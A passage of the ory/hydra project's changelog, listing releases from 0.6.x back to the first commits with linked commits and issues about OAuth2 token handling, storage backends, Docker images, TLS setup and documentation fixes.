([257a447](https://github.com/ory/hydra/commit/257a447e23f956130f06839ba4a14789e1e37aba)) * Remove api spec ([491dcf8](https://github.com/ory/hydra/commit/491dcf8fcac4a454351899e790801f1cf8733b78)) * Resolve issue with firewall set up ([bdd3d88](https://github.com/ory/hydra/commit/bdd3d8853a7ba3fcfcda6bb8799aba7dd9c68e39)) * Resolve issues with SQL migration and update dockerfiles ([35548a8](https://github.com/ory/hydra/commit/35548a82a4d5ddaa5ff1037fc01cd39d4ecdfb68)) * Update glide dependencies ([9ff9fd4](https://github.com/ory/hydra/commit/9ff9fd40926acb3de31f200f33698c363316c31d)) # [0.6.10](https://github.com/ory/hydra/compare/v0.6.9...v0.6.10) (2016-12-26) oauth2: improve error responses returned by http introspector ### Unclassified * Improve error responses returned by http introspector ([76fa19c](https://github.com/ory/hydra/commit/76fa19c309aa32eb11d38b999fcaead555686503)) * Improve error results ([812b588](https://github.com/ory/hydra/commit/812b588e42f1cf2601d286a8e359cfe9e7feb104)) # [0.6.9](https://github.com/ory/hydra/compare/v0.6.8...v0.6.9) (2016-12-20) openid: support response_type=code id_token - closes #332 ### Documentation * Make it clear that docker-compose is only for the example ([20c8681](https://github.com/ory/hydra/commit/20c868124f315bfdc4168008da7e96775c8ab7b3)) ### Unclassified * openid: support response_type=code id_token - closes #332 ([9dcc41b](https://github.com/ory/hydra/commit/9dcc41b89edfd3025fb5792c1dedef175f623e6c)), closes [#332](https://github.com/ory/hydra/issues/332) * Replace newline in HTTP_TLS ([5a4a2e8](https://github.com/ory/hydra/commit/5a4a2e8adf54062fc4317426a32de6ebc8932cc2)): HTTPS_TLS_CERT and HTTPS_TLS_KEY environment variables can contain \n see:https://github.com/ory-am/hydra/blob/master/cmd/host.go This commit replaces the \n character with an actual newline to allow the tls package to correctly create a X509 key pair. * Resolve issues with LOG_LEVEL and log confidentiality ([37be2ba](https://github.com/ory/hydra/commit/37be2badd6dcbcf0948598cd41266bcbee703df5)), closes [#324](https://github.com/ory/hydra/issues/324) # [0.6.8](https://github.com/ory/hydra/compare/v0.6.7...v0.6.8) (2016-12-06) oauth2: resolve issue with expires_in value ### Unclassified * Http introspector should return well known error ([0abfbfd](https://github.com/ory/hydra/commit/0abfbfd6809d0de72663451dfdff17a82b08d5b7)) * Resolve issue with expires_in value ([c06dc36](https://github.com/ory/hydra/commit/c06dc363548089146252325f4b66ccadee246a8a)) # [0.6.7](https://github.com/ory/hydra/compare/v0.6.6...v0.6.7) (2016-12-04) vendor: update glide yaml ### Unclassified * Improve cli and oauth2 error reporting ([3d61a70](https://github.com/ory/hydra/commit/3d61a70aa38bffd7993ea33184829af4f29015fb)) * Migrate to dockertest v3 and resolve broken tests ([6f356d1](https://github.com/ory/hydra/commit/6f356d1366cc01f9bd3e388bf0ac18706270877f)) * Update glide yaml ([c9a77fa](https://github.com/ory/hydra/commit/c9a77fa9f57b6492fb3a77aeff7bbacbc223068d)) # [0.6.6](https://github.com/ory/hydra/compare/v0.6.5...v0.6.6) (2016-12-04) cmd/connect: allow passing values as flags ### Documentation * Add missing work in docs/oauth2.md ([#317](https://github.com/ory/hydra/issues/317)) ([ce65b10](https://github.com/ory/hydra/commit/ce65b103cbece1c38ec394c230444f322384b940)) ### Unclassified * cmd/connect: allow passing values as flags ([3b0b943](https://github.com/ory/hydra/commit/3b0b943abe166742a95a5666a47d210204c51bb0)) * --name should be before the image's name ([9a71e18](https://github.com/ory/hydra/commit/9a71e18b4d980b9cb3aa61d914bd31c9dad60e76)) # [0.6.5](https://github.com/ory/hydra/compare/v0.6.4...v0.6.5) (2016-11-28) store/redis: redis backend for hydra (#313) Signed-off-by: Son Dinh <[email protected]> * oauth2: Add Redis manager * jwk: Add Redis manager * cmd/server: Add Redis handlers to factories * config: Add Redis connections * core: Update documentation; update Redis deps * docker: Add redis container to compose * oauth2/redis: Remove tokens signatures from set store on revoke * cmd/host: Change Redis documentation port to database default * docker: Comment out non-default Hydra backends on compose ### Unclassified * store/redis: redis backend for hydra (#313) ([32f5caf](https://github.com/ory/hydra/commit/32f5caf7802091e8a964667bb9c03a014ca430f7)), closes [#313](https://github.com/ory/hydra/issues/313): * oauth2: Add Redis manager * jwk: Add Redis manager * cmd/server: Add Redis handlers to factories * config: Add Redis connections * core: Update documentation; update Redis deps * docker: Add redis container to compose * oauth2/redis: Remove tokens signatures from set store on revoke * cmd/host: Change Redis documentation port to database default * docker: Comment out non-default Hydra backends on compose # [0.6.4](https://github.com/ory/hydra/compare/v0.6.3...v0.6.4) (2016-11-22) oauth2/recovation: resolve issues with tests ### Unclassified * oauth2/recovation: resolve issues with tests ([2e58355](https://github.com/ory/hydra/commit/2e5835507cf2835d9b6e67e5b0d999ccd7e61672)) * docs: clean up TokenValid leftovers - closes #310 ([994b596](https://github.com/ory/hydra/commit/994b596593cfc86d63cce3eaffbe306d3395be9c)), closes [#310](https://github.com/ory/hydra/issues/310) * oauth2/revocation: token revocation fails silently with sql store - closes #311 ([7d3cb4e](https://github.com/ory/hydra/commit/7d3cb4eb71c0ca1f0da63856ddae4432e26bc2cc)), closes [#311](https://github.com/ory/hydra/issues/311) # [0.6.3](https://github.com/ory/hydra/compare/v0.6.2...v0.6.3) (2016-11-17) oauth2: resolve issues with token introspection on user tokens (#309) ### Documentation * Update readme ([9129ac8](https://github.com/ory/hydra/commit/9129ac8fa0ae629fe291215cc644fe2e5350f929)) * Update readme ([a5386df](https://github.com/ory/hydra/commit/a5386df9f6aff7eacb32340ccec9026a685fcad8)) ### Unclassified * Resolve issues with token introspection on user tokens ([#309](https://github.com/ory/hydra/issues/309)) ([00bdd28](https://github.com/ory/hydra/commit/00bdd28ef47ed1b766b01637f7256befdec4aaaf)) * Update readme ([a110994](https://github.com/ory/hydra/commit/a1109948949da1d714e10eaa0deafec0d515d3e7)) # [0.6.2](https://github.com/ory/hydra/compare/v0.6.1...v0.6.2) (2016-11-05) client/mysql: fix missing client_name (#303) Signed-off-by: John Wu <[email protected]> ### Unclassified * client/mysql: fix missing client_name (#303) ([b861e25](https://github.com/ory/hydra/commit/b861e25279ff1a39680d912a5a505e23e86572b8)), closes [#303](https://github.com/ory/hydra/issues/303) # [0.6.1](https://github.com/ory/hydra/compare/v0.6.0...v0.6.1) (2016-10-26) 0.6.1 (#301) * manager/mysql: MySQL DB not creating on start – JSON column types only supported from MySQL 5.7 and onwards - closes #299 * docs: improve gitbook front page ### Documentation * Fix some minor typos and the broken tutorial links ([#298](https://github.com/ory/hydra/issues/298)) ([1bbd6ed](https://github.com/ory/hydra/commit/1bbd6ed9b1a111ece69c42df06fc74da5df08ac2)) * More docs ([955200c](https://github.com/ory/hydra/commit/955200cba6f6cccf375388e3917debd6a82a4a98)) * Update readme ([1215e98](https://github.com/ory/hydra/commit/1215e985478fd49433b1fc4e468a02b7c1ab1422)) * Update README ([bce141f](https://github.com/ory/hydra/commit/bce141f2d0769830f7f9d39d6d38946c78b80e62)) * Update README ([eff6b86](https://github.com/ory/hydra/commit/eff6b8679b6210104a2fdf85b00f41a3f869416f)) ### Unclassified * 0.6.1 (#301) ([c743e37](https://github.com/ory/hydra/commit/c743e3738735b31803505dbe4f95ac3c17983a6c)), closes [#301](https://github.com/ory/hydra/issues/301) [#299](https://github.com/ory/hydra/issues/299) * Added wayne robinson ([6347d0b](https://github.com/ory/hydra/commit/6347d0bc08362612d9ee3c696f8af164ca231c64)) # [0.6.0](https://github.com/ory/hydra/compare/v0.5.8...v0.6.0) (2016-10-25) 0.6.0 (#293) * oauth2: scopes should be separated by %20 and not +, to ensure javascript compatibility - closes #277 * oauth2/introspect: make endpoint rfc7662 compatible - closes #289 * warden: make it clear that ladon.Request.Subject is not required or break bc and remove it - closes #270 * travis: execute gox build only when new commit is a new tag - closes #285 * docs: improve introduction (#267) * core: (health) monitoring endpoint - closes #216 * oauth2/introspect: make endpoint rfc7662 compatible - closes #289 * connections: remove connections API - closes #265 * oauth2: token revocation endpoint - closes #233 * vendor: update to fosite 0.5.0 * core: add sql support #292 * connections: remove connections API - closes #265 * all: coverage report is missing covered lines of nested packages - closes #296 * cmd: prettify the `hydra token user` output - closes #281 * travis: make it possible for travis-ci to build forked repos - closes #295 ### Unclassified * 0.6.0 (#293) ([8256356](https://github.com/ory/hydra/commit/8256356b9b4704c369b4d01498b5cd0b11fd1919)), closes [#293](https://github.com/ory/hydra/issues/293) [#277](https://github.com/ory/hydra/issues/277) [#289](https://github.com/ory/hydra/issues/289) [#270](https://github.com/ory/hydra/issues/270) [#285](https://github.com/ory/hydra/issues/285) [#267](https://github.com/ory/hydra/issues/267) [#216](https://github.com/ory/hydra/issues/216) [#289](https://github.com/ory/hydra/issues/289) [#265](https://github.com/ory/hydra/issues/265) [#233](https://github.com/ory/hydra/issues/233) [#292](https://github.com/ory/hydra/issues/292) [#265](https://github.com/ory/hydra/issues/265) [#296](https://github.com/ory/hydra/issues/296) [#281](https://github.com/ory/hydra/issues/281) [#295](https://github.com/ory/hydra/issues/295) * Build only on tags and go1.7 ([#288](https://github.com/ory/hydra/issues/288)) ([f5299a1](https://github.com/ory/hydra/commit/f5299a105a2d1ae0ab8e25c69f22afe21fc8a28d)) * Fix typo in host command help text ([#291](https://github.com/ory/hydra/issues/291)) ([6b9dd26](https://github.com/ory/hydra/commit/6b9dd26e4ab62ae5838e70be5b2354d3e1956f38)) # [0.5.8](https://github.com/ory/hydra/compare/v0.5.7...v0.5.8) (2016-10-06) oauth2: refresh token does not migrate session object to new token - closes #283 (#284) ### Unclassified * Refresh token does not migrate session object to new token - closes [#283](https://github.com/ory/hydra/issues/283) ([#284](https://github.com/ory/hydra/issues/284)) ([835bb2b](https://github.com/ory/hydra/commit/835bb2bcfa832696b1a87bf0823307aca7b1e5cb)) # [0.5.7](https://github.com/ory/hydra/compare/v0.5.6...v0.5.7) (2016-10-04) jwk: add use parameter to generated JWKs - closes #279 (#280) ### Unclassified * Add use parameter to generated JWKs - closes [#279](https://github.com/ory/hydra/issues/279) ([#280](https://github.com/ory/hydra/issues/280)) ([05b5f84](https://github.com/ory/hydra/commit/05b5f841ef24dbd9242ad667d53a9cea98e5088f)) # [0.5.6](https://github.com/ory/hydra/compare/v0.5.5...v0.5.6) (2016-10-03) oauth2: scopes should be separated by %20 and not +, to ensure javascript compatibility (#278) * herodot: improve error logging * oauth2: scopes should be separated by %20 and not +, to ensure javascript compatibility - closes #277 ### Unclassified * Fix [#272](https://github.com/ory/hydra/issues/272) typos in the host command controls ([#276](https://github.com/ory/hydra/issues/276)) ([efc7e58](https://github.com/ory/hydra/commit/efc7e58ce5c403da23145d1353c328182a4fda56)) * Replace HYDRA_PROFILING with PROFILING - closes [#274](https://github.com/ory/hydra/issues/274) ([#275](https://github.com/ory/hydra/issues/275)) ([16209f6](https://github.com/ory/hydra/commit/16209f66d5acf9a6ef383d783a4434e603084988)) * Scopes should be separated by %20 and not +, to ensure javascript compatibility ([#278](https://github.com/ory/hydra/issues/278)) ([e33df89](https://github.com/ory/hydra/commit/e33df89401e6b4c88a599b1be7ce4f1b40653164)), closes [#277](https://github.com/ory/hydra/issues/277): * herodot: improve error logging # [0.5.5](https://github.com/ory/hydra/compare/v0.5.4...v0.5.5) (2016-09-29) docker: fix typo in docker-http image ### Unclassified * Fix typo in docker-http image ([7d16c7e](https://github.com/ory/hydra/commit/7d16c7ef2086d9ae4286f8b2a1a427c3800af825)) # [0.5.4](https://github.com/ory/hydra/compare/v0.5.3...v0.5.4) (2016-09-29) docker: resolve issue with docker-http image ### Unclassified * Resolve issue with docker-http image ([407d650](https://github.com/ory/hydra/commit/407d65040aace9acef7e097eb15a18e471e6662e)) # [0.5.3](https://github.com/ory/hydra/compare/v0.5.2...v0.5.3) (2016-09-29) docker: add http-only dockerfile and upgrade to go 1.7 base image (#273) ### Documentation * Fix typo in consent.md ([575f2e5](https://github.com/ory/hydra/commit/575f2e5f4375f1dbcd87871b195ffd59dac2c3c4)) ### Unclassified * Add http-only dockerfile and upgrade to go 1.7 base image ([#273](https://github.com/ory/hydra/issues/273)) ([784b5b2](https://github.com/ory/hydra/commit/784b5b2a7ea029b4c9836e5d5d9457b6236bb92b)) # [0.5.2](https://github.com/ory/hydra/compare/v0.5.1...v0.5.2) (2016-09-23) client: owner should be fetched from original client when updating ### Unclassified * Owner should be fetched from original client when updating ([06077e9](https://github.com/ory/hydra/commit/06077e99c5f33966f92158d186165f11d4dce0b4)) # [0.5.1](https://github.com/ory/hydra/compare/v0.5.0...v0.5.1) (2016-09-22) 0.5.0 (#243) * cmd: hydra token user should show id token in browser - closes #224 * cli: hydra clients import doesn't print client's secret - closes #221 * travis: ld flags are wrong - closes #242 * all: resolve naming inconsistencies in jwk set names used in hydra - closes #239 * sdk: resolve naming inconsistencies - closes #226 * docs: resolve gitbook issue with image assets * jwk: anonymous request can't read public keys - closes #253 * client: add ability to update client - closes #250 * core: document hard-wired JWK sets - closes #247 * docs: fix images in readme - closes #261 ### Documentation * Add notes on operational considerations ([#252](https://github.com/ory/hydra/issues/252)) ([777e45b](https://github.com/ory/hydra/commit/777e45be0e44333cf5678910e270ee65129310f9)) * Resolve gitbook issue with image assets ([3c3b93e](https://github.com/ory/hydra/commit/3c3b93e6886a473c9472fdb61c584acda3d758aa)) ### Unclassified * 0.5.0 (#243) ([a922002](https://github.com/ory/hydra/commit/a92200278ab7e5e843a2b4520a53253da025795f)), closes [#243](https://github.com/ory/hydra/issues/243) [#224](https://github.com/ory/hydra/issues/224) [#221](https://github.com/ory/hydra/issues/221) [#242](https://github.com/ory/hydra/issues/242) [#239](https://github.com/ory/hydra/issues/239) [#226](https://github.com/ory/hydra/issues/226) [#253](https://github.com/ory/hydra/issues/253) [#250](https://github.com/ory/hydra/issues/250) [#247](https://github.com/ory/hydra/issues/247) [#261](https://github.com/ory/hydra/issues/261) # [0.4.3](https://github.com/ory/hydra/compare/v0.4.2-alpha.4...v0.4.3) (2016-09-03) travis: fix gox build process ### Unclassified * Fix gox build process ([0575b43](https://github.com/ory/hydra/commit/0575b437eabbf29253867c33e11f405524939aa8)) # [0.4.2-alpha.3](https://github.com/ory/hydra/compare/v0.4.2-alpha.2...v0.4.2-alpha.3) (2016-09-02) travis: dpl is not accepting API keys ### Unclassified * Dpl is not accepting API keys ([05fe98d](https://github.com/ory/hydra/commit/05fe98dfefe29d39e124fd1c540dc77c380c9cc7)) # [0.4.2-alpha.2](https://github.com/ory/hydra/compare/v0.4.2-alpha.1...v0.4.2-alpha.2) (2016-09-01) travis: resolve issues with autodeploy ### Unclassified * Resolve issues with autodeploy ([a0ae42d](https://github.com/ory/hydra/commit/a0ae42db6494668eba93dcae9539e4f6776f78ab)) # [0.4.2-alpha.1](https://github.com/ory/hydra/compare/0.4.2-alpha...v0.4.2-alpha.1) (2016-09-01) travis: resolve deploy issues ### Unclassified * Resolve deploy issues ([30350ca](https://github.com/ory/hydra/commit/30350cac1cf7a9b91ed1b9aab84122e099339409)) # [0.4.2-alpha](https://github.com/ory/hydra/compare/v0.4.1...0.4.2-alpha) (2016-09-01) ### Documentation * Add 3rd party section to readme ([3f80cc9](https://github.com/ory/hydra/commit/3f80cc9f9d164f1b4677ce55ab8585eaa995422e)) * Add a feature overview ([a12f353](https://github.com/ory/hydra/commit/a12f353a9ae4f02960ac90d8a7ae7973af49f055)) * Add section "what's it good for" ([c77f435](https://github.com/ory/hydra/commit/c77f435572c02baf64766f0728599a4853acd95c)) * Add what is hydra / what is hydra not section ([975b2ce](https://github.com/ory/hydra/commit/975b2ce670b7ac2a57dbd40a05add232b32d3f2b)) * Fix broken tutorial link in readme ([107c94c](https://github.com/ory/hydra/commit/107c94c942d54f0db4cc5287abea025814efad16)) ### Unclassified * docs/demo: improve tutorial ([837476d](https://github.com/ory/hydra/commit/837476de16aa2bdf81875e4b16552f00f903e2ff)) * docs/sdk: fix typo in policy condition ([448fc3e](https://github.com/ory/hydra/commit/448fc3eb1f328b86efdf1ee4ca4d3b424f74a23e)) * docs/sdk: improve sdk examples ([8eea29f](https://github.com/ory/hydra/commit/8eea29f01a39944a7ceccbf5fa23311891a6ef87)) * Firewal.Audience overridden with requesting clients subject in TokenAllowed and TokenValid ([#236](https://github.com/ory/hydra/issues/236)) ([d5c267f](https://github.com/ory/hydra/commit/d5c267f87b9f8c4bb6cc05e1246214f4cb856851)) * Resolve regression issue in tests and wrong scope definition ([8911e0f](https://github.com/ory/hydra/commit/8911e0f6b03604d9a9cacbf7b2c72b0b8e243050)) * Update fosite 0.3.0 ([39b3fc3](https://github.com/ory/hydra/commit/39b3fc3b88a58130bc6704be3611e15fb02130f9)) * Updated jwt-go to 3.0.0. Also fixed a few go vet issues. ([7ab95c5](https://github.com/ory/hydra/commit/7ab95c5b6e7a81c08bbc1c5b6708193a65ea6334)) * Versioned automated builds ([76c23f8](https://github.com/ory/hydra/commit/76c23f86d10d30015de87127715a27020c80470a)), closes [#210](https://github.com/ory/hydra/issues/210) [#218](https://github.com/ory/hydra/issues/218) # [0.4.1](https://github.com/ory/hydra/compare/v0.4.0...v0.4.1) (2016-08-18) cmd: resolve issue with token user flow (#212) ### Unclassified * 0.4.0 (#203) ([cd6daed](https://github.com/ory/hydra/commit/cd6daedfe42cab14717b3a5fc9fe99efc81e5447)), closes [#203](https://github.com/ory/hydra/issues/203) [#199](https://github.com/ory/hydra/issues/199) [#201](https://github.com/ory/hydra/issues/201) [#200](https://github.com/ory/hydra/issues/200) [#205](https://github.com/ory/hydra/issues/205) [#198](https://github.com/ory/hydra/issues/198) [#204](https://github.com/ory/hydra/issues/204) * Update book.json ([c8c67dc](https://github.com/ory/hydra/commit/c8c67dce3391340e4741e25b8c10c973ad9eeb94)) * Create book.json ([27cc32f](https://github.com/ory/hydra/commit/27cc32fbace2c2d77a6da4cbb7a063e9182e7f43)) * Add introspection to the sdk ([4b24be4](https://github.com/ory/hydra/commit/4b24be4c0c3865b98ecd8e17c0937d1d143396c5)) * Fix broken image links ([c1d3e88](https://github.com/ory/hydra/commit/c1d3e88cf2ce2345c55288805f80e26c4224ee58)) * Fix broken links ([b9b755a](https://github.com/ory/hydra/commit/b9b755aafdda7e314d45d4eba68a5fbbaef502e1)) * Instantiate token introspection ([56a9eda](https://github.com/ory/hydra/commit/56a9edacbe6fa04a85faf8bf3f51f1c6705cccfb)) * Resolve issue with token user flow ([#212](https://github.com/ory/hydra/issues/212)) ([8230eac](https://github.com/ory/hydra/commit/8230eacf2ee3e85f8b96a40d96f3961b56fc2ba1)) # [0.3.1](https://github.com/ory/hydra/compare/v0.3.0...v0.3.1) (2016-08-17) all: resolve and test for issues in rethinkdb coldstart - closes #207 ### Documentation * Resolve broken examples in the docs, add badges and code documentation ([0baa04e](https://github.com/ory/hydra/commit/0baa04ebbbc62446b21824ecda7490864642ce68)) ### Unclassified * Resolve and test for issues in rethinkdb coldstart - closes [#207](https://github.com/ory/hydra/issues/207) ([6a0bbd7](https://github.com/ory/hydra/commit/6a0bbd7f953f23668a59c4fe2c87d5d6afb88b6b)) # [0.3.0](https://github.com/ory/hydra/compare/v0.2.0...v0.3.0) (2016-08-09) 0.3.0 (#195) * cmd: resolve broken formatting issue * client: field scopes should be scope * config: fix broken system secret method and add test case for it * client: scope should be scope in rethinkdb too * client: scope should be scope in rethinkdb too * oauth2: resolve import paths broken by goimports ### Unclassified * 0.3.0 (#195) ([95ff77d](https://github.com/ory/hydra/commit/95ff77d24c3a698e407162f5c389ed1695c1e317)), closes [#195](https://github.com/ory/hydra/issues/195): * cmd: resolve broken formatting issue * client: field scopes should be scope * config: fix broken system secret method and add test case for it * client: scope should be scope in rethinkdb too * client: scope should be scope in rethinkdb too * oauth2: resolve import paths broken by goimports # [0.2.0](https://github.com/ory/hydra/compare/5df442b04c18c5f9a419f40c8750d2531952d38a...v0.2.0) (2016-08-09) :fire: 0.2.0 (#165) * warden: rename `assertion` to `token` - closes #158 * config: do not log database credentials - closes #147 * oauth2: upgrade fosite - close #160 * config: do not store database config in hydra config - closes #164 * oauth2: id_token at_hash / c_hash is null - closes #129 * jwk: improve error message of wrong system secrect - closes #104 * readme: improve images, add benchmarks - closes #161 * cmd: improve connect dialogue - closes #170 * cmd: fix --dry option - closes #157 * firewall: document warden interface sdk * readme: link openid connect and oauth2 introduction * cmd: introduce FORCE_ROOT_CLIENT_CREDENTIALS env var - closes #140 * readme: document error redirect to identity provider - closes #96 * internal: fosite store must be consistent to avoid errors - closes #176 * client: add GetConcreteClient to http manager * cmd: host process now logs basic information on all http requests - closes #178 * all: add memory profiling - closes #179 * warden: resolve nil pointer issue - closes #181 * cmd: clean up env to struct mapping, add more controls * cmd: bcrypt cost should be configurable - closes #184 * cmd: token lifespans should be configurable - closes #183 * cmd: resolve issues with envirnoment config - closes #182 * cmd: implement tls termination capability - closes #177 * cmd: resolve issues with redirect logic and TLS * oauth2: implement default oauth2 consent endpoint - closes #185 * warden - closes #188 * oauth2: id token claims should be set by using id_token - closes #188 * oauth2: oauth2 implicit flow should allow custom protocols - closes #180 * oauth2: core scope should not be mandatory - closes #189 * warden: warden sdk should not make distinction between token and request - closes #190 * warden: rename authorized / allowed endpoints to something more meaningful - closes #162 * ci: improve travis config ### Documentation * Create CONTRIBUTING.md ([63702a9](https://github.com/ory/hydra/commit/63702a97556e95b86d9ca5d2e5fea65f05315d22)) * Remove shell guide requirements ([5d4d024](https://github.com/ory/hydra/commit/5d4d0248fd7e2397f866161606290a2d0aa3bc74)) ### Unclassified * :fire: 0.2.0 (#165) ([a297f7e](https://github.com/ory/hydra/commit/a297f7e57b12c31c8936af02c0bc00600eae0347)), closes [#165](https://github.com/ory/hydra/issues/165) [#158](https://github.com/ory/hydra/issues/158) [#147](https://github.com/ory/hydra/issues/147) [#160](https://github.com/ory/hydra/issues/160) [#164](https://github.com/ory/hydra/issues/164) [#129](https://github.com/ory/hydra/issues/129) [#104](https://github.com/ory/hydra/issues/104) [#161](https://github.com/ory/hydra/issues/161) [#170](https://github.com/ory/hydra/issues/170) [#157](https://github.com/ory/hydra/issues/157) [#140](https://github.com/ory/hydra/issues/140) [#96](https://github.com/ory/hydra/issues/96) [#176](https://github.com/ory/hydra/issues/176) [#178](https://github.com/ory/hydra/issues/178) [#179](https://github.com/ory/hydra/issues/179) [#181](https://github.com/ory/hydra/issues/181) [#184](https://github.com/ory/hydra/issues/184) [#183](https://github.com/ory/hydra/issues/183) [#182](https://github.com/ory/hydra/issues/182) [#177](https://github.com/ory/hydra/issues/177) [#185](https://github.com/ory/hydra/issues/185) [#188](https://github.com/ory/hydra/issues/188) [#188](https://github.com/ory/hydra/issues/188) [#180](https://github.com/ory/hydra/issues/180) [#189](https://github.com/ory/hydra/issues/189) [#190](https://github.com/ory/hydra/issues/190) [#162](https://github.com/ory/hydra/issues/162) * ensure client endpoint is initialised for CLI "clients import" command ([6070a80](https://github.com/ory/hydra/commit/6070a80cc0839c27291696affb8003c27d9ac339)) * Fix table of contents (#145) ([9945c11](https://github.com/ory/hydra/commit/9945c118da162ccaaa4418d76d20252cbe1b8aa3)), closes [#145](https://github.com/ory/hydra/issues/145) * Resolve issues with warden and client api (#120) ([c77d2dc](https://github.com/ory/hydra/commit/c77d2dc7b8e268ee927489a57c3e681d0743573d)), closes [#120](https://github.com/ory/hydra/issues/120) [#118](https://github.com/ory/hydra/issues/118) [#119](https://github.com/ory/hydra/issues/119) * :fire: 0.1-beta2 (#90) :fire: ([8593699](https://github.com/ory/hydra/commit/85936992ada6c3ca9da22ba7e5849450d17f98ce)), closes [#90](https://github.com/ory/hydra/issues/90) [#86](https://github.com/ory/hydra/issues/86) [#91](https://github.com/ory/hydra/issues/91) [#99](https://github.com/ory/hydra/issues/99) [#93](https://github.com/ory/hydra/issues/93) [#88](https://github.com/ory/hydra/issues/88) [#97](https://github.com/ory/hydra/issues/97) [#92](https://github.com/ory/hydra/issues/92) [#89](https://github.com/ory/hydra/issues/89) * :zap: vendor: switch to versioned gorethink api (#81) ([15242e2](https://github.com/ory/hydra/commit/15242e2cf481afff110302dab3082884939b80e1)), closes [#81](https://github.com/ory/hydra/issues/81): * vendor: switch to versioned gorethink api * readme: bug bounty / hall of fame * readme: add fosite and ladon reference * :fire: 0.1-beta :fire: ([00fd93c](https://github.com/ory/hydra/commit/00fd93cab2e8f8938100f29c8b393f97c8870453)) * Update README.md ([f0b40f1](https://github.com/ory/hydra/commit/f0b40f150bbbd3979cb8d7c8baf356110fab187a)) * Remove go get of govet in .travis.yml ([cff9754](https://github.com/ory/hydra/commit/cff975456370f1f926b00ac128913ffc8f360a2b)): Fix error where vet cmd package cannot be found. The package seems to be included in go now. No need to download it anymore. * oauth/google: fixed status code error message ([0b7b163](https://github.com/ory/hydra/commit/0b7b1639ed0d22a92e6f3d2c94591dd89e06cc6d)) * oauth/google: fixed status code error message ([8ed78e5](https://github.com/ory/hydra/commit/8ed78e5ed069913c03442443c70c3caaec06576f)) * Update README.md ([acae0e7](https://github.com/ory/hydra/commit/acae0e7882f5dd145bfa81d49803c2c4ded4c020)): README: Updated smaller typo * Storage/RethinkDB: Added RethinkDB as backend storage. ([cb9c2f4](https://github.com/ory/hydra/commit/cb9c2f488c85fa1d34342817bc1ba28caf8d2a5e)): Storage/PostgreSQL: Updated some PostgreSQL tests. Hydra: Fixed smaller bugs. * handler.go:300: no formatting directive in Sprintf call ([6ee1376](https://github.com/ory/hydra/commit/6ee13768c1a2f4cfb07fd698e202f239b850a5cf)) * handle multiple return values from gopass ([8124765](https://github.com/ory/hydra/commit/81247658266fff9fc31d45d86aa4e91867420757)) * update accounts CLI Usage ([9881e2a](https://github.com/ory/hydra/commit/9881e2a4251763ec3d4911de8be15811734c3f43)) * Update README.md ([2fadfae](https://github.com/ory/hydra/commit/2fadfae00b5b4fc3455fc4c80c1118e1c20db96f)) * Add Gitter badge ([4f3d9ce](https://github.com/ory/hydra/commit/4f3d9ce9c6d6df67cdeb3c7e9a02e6a7bdd6bd21)) * oauth/provider/signin/signin.go: arg err for printf verb %d of wrong type: error ([16fddf2](https://github.com/ory/hydra/commit/16fddf2c516b1fe1b86a1681812b874a8b7f3e1c)) * cli/hydra-host/handler/tls.go: no formatting directive in Errorf call ([78698d5](https://github.com/ory/hydra/commit/78698d5429985896ed2afacddc28d9045b23d995)) * Update README.md ([be43ff6](https://github.com/ory/hydra/commit/be43ff6d4c91a15700ccf69af0e614edcbf2a446)) * jwt/oauth: refresh grant now is tested and works properly ([8d88305](https://github.com/ory/hydra/commit/8d883050ed4337d2b077ed3182f09656f2e67b5e)) * Update README.md ([3e2e81a](https://github.com/ory/hydra/commit/3e2e81af957a9ba56e2d9ec44e02881a41e440ec)) * Update README.md ([8510dd9](https://github.com/ory/hydra/commit/8510dd97ca9ccba2d82671620db8c6ab1ec9e67e)) * Update LICENSE ([62f7c67](https://github.com/ory/hydra/commit/62f7c67a54f3a551e4208e187bc2c8b69ff93f6b)) * Update CONCEPTS.md ([dd4df17](https://github.com/ory/hydra/commit/dd4df17daa49072195cd06c4421dc84674bbf443)) * Initial commit ([5df442b](https://github.com/ory/hydra/commit/5df442b04c18c5f9a419f40c8750d2531952d38a)) * Adapt ladon policy api changes ([b8bacb0](https://github.com/ory/hydra/commit/b8bacb04dce37e3492d262c3570a1f5b2063a1d7)) * Add basic debug log level support ([9686a91](https://github.com/ory/hydra/commit/9686a91dfa9c9d4b551d820efe66edb105f29531)) * Add glide command to develop snippet ([e513d2a](https://github.com/ory/hydra/commit/e513d2a23f4a1aef760556fa99fbb097a4e07669)) * Add glide command to install snippet ([e62b3d3](https://github.com/ory/hydra/commit/e62b3d36f0e354e325590d8afb5a1bc395986167)) * Add google group ([ed5be40](https://github.com/ory/hydra/commit/ed5be4062be31af4081d2a03eb82fd34e8b1f884)) * Add managed hydra note ([3450300](https://github.com/ory/hydra/commit/345030005194221b68bc5e5697628c475148f561)) * Add refact warning ([07da6a0](https://github.com/ory/hydra/commit/07da6a0a1614f69fb82a94c48a0ee85bca51e5cb)) * Add security considerations ([340c855](https://github.com/ory/hydra/commit/340c855e4fdcba67f0a2b867cc05f40c715195ff)), closes [#42](https://github.com/ory/hydra/issues/42) * Add security section ([#87](https://github.com/ory/hydra/issues/87)) ([2ae682b](https://github.com/ory/hydra/commit/2ae682b44d1a3b438bd06ec2fb63c56da9eaaf03)) * Add test cases for methods returning slices or maps of entities ([#152](https://github.com/ory/hydra/issues/152)) ([e62e385](https://github.com/ory/hydra/commit/e62e3850b2a3b80041caa3d22de9d4cafe2f7d30)) * Add token validation ([#134](https://github.com/ory/hydra/issues/134)) ([9dfd4ea](https://github.com/ory/hydra/commit/9dfd4eae07cb7f7593d4278eb3670406043f872f)) * Add wrapper library for HTTP Managers ([#130](https://github.com/ory/hydra/issues/130)) ([266b324](https://github.com/ory/hydra/commit/266b32442870f379ce4d047d7a5c9f87f05b0e5b)) * Added benchmark section ([39d2802](https://github.com/ory/hydra/commit/39d2802cc7342f70ad877e8ec769f174601e4ae6)) * Added connection and client handlers ([47070f5](https://github.com/ory/hydra/commit/47070f5de7368fdb129e3a045434c338f4eb23fc)) * Added godeps ([ff027b5](https://github.com/ory/hydra/commit/ff027b55c64e0aa0bb7a3ca9685adbaf6e100575)) * Added google provider ([9ae9316](https://github.com/ory/hydra/commit/9ae9316add1a1140b1c74704794681b1fac443a4)) * Added heroku app.json ([7c1d25e](https://github.com/ory/hydra/commit/7c1d25e151207cf2406cdc8a3662a88967307383)) * Added heroku deployment notes ([98b83d7](https://github.com/ory/hydra/commit/98b83d7b2e8bdddddfe2163b53870fd955818e96)) * Added http/2 description ([1f0d6f9](https://github.com/ory/hydra/commit/1f0d6f9d79e6e79afc2c47cb6e1e77640912fe1e)) * Added microsoft and improved existing providers 